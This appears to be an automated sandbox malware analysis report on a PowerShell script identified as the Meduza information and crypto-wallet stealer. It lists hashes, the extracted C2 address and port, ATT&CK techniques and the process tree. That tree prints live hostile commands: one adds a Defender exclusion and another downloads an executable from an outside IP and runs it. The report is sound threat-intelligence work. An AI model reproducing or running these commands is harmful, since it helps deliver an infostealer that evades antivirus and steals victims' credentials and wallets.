meduza | b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3

General

Target

script.ps1
Size

324B
MD5

129bf31d3dc155699387ccc33f2f3775
SHA1

1f43dcd5742a8f0b499892fd3e09255378817adc
SHA256

b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3
SHA512

37f6f05e14cb7a78e7f245da4834b2be124e181c96c50a314dd29fc0c2b06c369b4510d068baf34495be5566e41a7d4852582643ce13beaded84720c3c3c9643

Score

10^/10

meduza execution stealer

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes

anti_dbg
true
anti_vm
true
build_name
hdont
extensions
.txt
grabber_max_size
4.194304e+06
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023c88-92.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3408	powershell.exe
524	powershell.exe
508	powershell.exe

Downloads MZ/PE file

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	api.ipify.org
21	api.ipify.org

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3408	powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3408
- C:\Windows\Temp\Launcher.exe
  "C:\Windows\Temp\Launcher.exe"
  2⤵
  PID:1496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\lmhgtgvj.cbm.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:524
- - C:\Windows\Temp\lmhgtgvj.cbm.exe
    "C:\Windows\Temp\lmhgtgvj.cbm.exe"
    3⤵
    PID:4568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
70595b5937369a2592a524db67e208d3

SHA1
d989b934d9388104189f365694e794835aa6f52f

SHA256
be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8

SHA512
edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
4906ae164394ca114bea79e6483f1eca

SHA1
86b02a8a6ac82617bf55d2120f8421c8be08d306

SHA256
c0d7be82cd241adffa98fea904816511464b5baf55bb1d16946cf901c89d2efa

SHA512
0569bdfb15e03f40c4e4e9bca306b7ea995919ad545c1314d9d776f13907b742a1cdf84f4d310795f4ff8ab198bd5c450b0788b83c29a71a1479ce999c5ebf09

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abam33q1.3ct.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\Launcher.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
C:\Windows\Temp\iviewers.dll

Filesize
6KB

MD5
e017be56699801dc89a8d6d1724eb633

SHA1
a7f7aae4744210db8ebaf4da06c167357bc71eca

SHA256
aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

SHA512
2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8

Download Submit
C:\Windows\Temp\lmhgtgvj.cbm.exe

Filesize
1.2MB

MD5
c6813da66eba357d0deaa48c2f7032b8

SHA1
6812e46c51f823ff0b0ee17bfce0af72f857af66

SHA256
1420f60f053c3ea5605239ee431e5f487245108b1c01be75d16b5246156fa178

SHA512
19391c6b12ba8f34a5faf326f8986ef8de4729d614d72bf438c6efa569b3505159ca55f580fe2a02642e5e7a0f1b38a7a9db9f0d66d67ba548d84c230183159e

Download Submit
memory/508-69-0x0000000007D20000-0x0000000007D2A000-memory.dmp

Filesize
40KB

Download
memory/508-66-0x0000000007B70000-0x0000000007C13000-memory.dmp

Filesize
652KB

Download
memory/508-74-0x0000000007FE0000-0x0000000007FFA000-memory.dmp

Filesize
104KB

Download
memory/508-75-0x0000000007FC0000-0x0000000007FC8000-memory.dmp

Filesize
32KB

Download
memory/508-73-0x0000000007EE0000-0x0000000007EF4000-memory.dmp

Filesize
80KB

Download
memory/508-36-0x0000000005330000-0x0000000005366000-memory.dmp

Filesize
216KB

Download
memory/508-37-0x0000000005A80000-0x00000000060A8000-memory.dmp

Filesize
6.2MB

Download
memory/508-39-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/508-38-0x0000000005A50000-0x0000000005A72000-memory.dmp

Filesize
136KB

Download
memory/508-40-0x00000000062C0000-0x0000000006326000-memory.dmp

Filesize
408KB

Download
memory/508-50-0x0000000006370000-0x00000000066C4000-memory.dmp

Filesize
3.3MB

Download
memory/508-72-0x0000000007ED0000-0x0000000007EDE000-memory.dmp

Filesize
56KB

Download
memory/508-53-0x00000000069A0000-0x00000000069EC000-memory.dmp

Filesize
304KB

Download
memory/508-52-0x0000000006980000-0x000000000699E000-memory.dmp

Filesize
120KB

Download
memory/508-65-0x0000000006F90000-0x0000000006FAE000-memory.dmp

Filesize
120KB

Download
memory/508-71-0x0000000007EA0000-0x0000000007EB1000-memory.dmp

Filesize
68KB

Download
memory/508-55-0x000000006EE90000-0x000000006EEDC000-memory.dmp

Filesize
304KB

Download
memory/508-54-0x0000000006F50000-0x0000000006F82000-memory.dmp

Filesize
200KB

Download
memory/508-68-0x0000000007CA0000-0x0000000007CBA000-memory.dmp

Filesize
104KB

Download
memory/508-67-0x00000000082F0000-0x000000000896A000-memory.dmp

Filesize
6.5MB

Download
memory/508-70-0x0000000007F20000-0x0000000007FB6000-memory.dmp

Filesize
600KB

Download
memory/524-79-0x0000000006000000-0x0000000006354000-memory.dmp

Filesize
3.3MB

Download
memory/1496-30-0x0000000005ED0000-0x0000000005EE0000-memory.dmp

Filesize
64KB

Download
memory/1496-34-0x0000000003A00000-0x0000000003A0A000-memory.dmp

Filesize
40KB

Download
memory/1496-35-0x00000000740E0000-0x00000000740EA000-memory.dmp

Filesize
40KB

Download
memory/1496-31-0x000000007383E000-0x000000007383F000-memory.dmp

Filesize
4KB

Download
memory/3408-0-0x00007FF9E2CE3000-0x00007FF9E2CE5000-memory.dmp

Filesize
8KB

Download
memory/3408-27-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/3408-12-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/3408-11-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/3408-6-0x000001E9F12B0000-0x000001E9F12D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing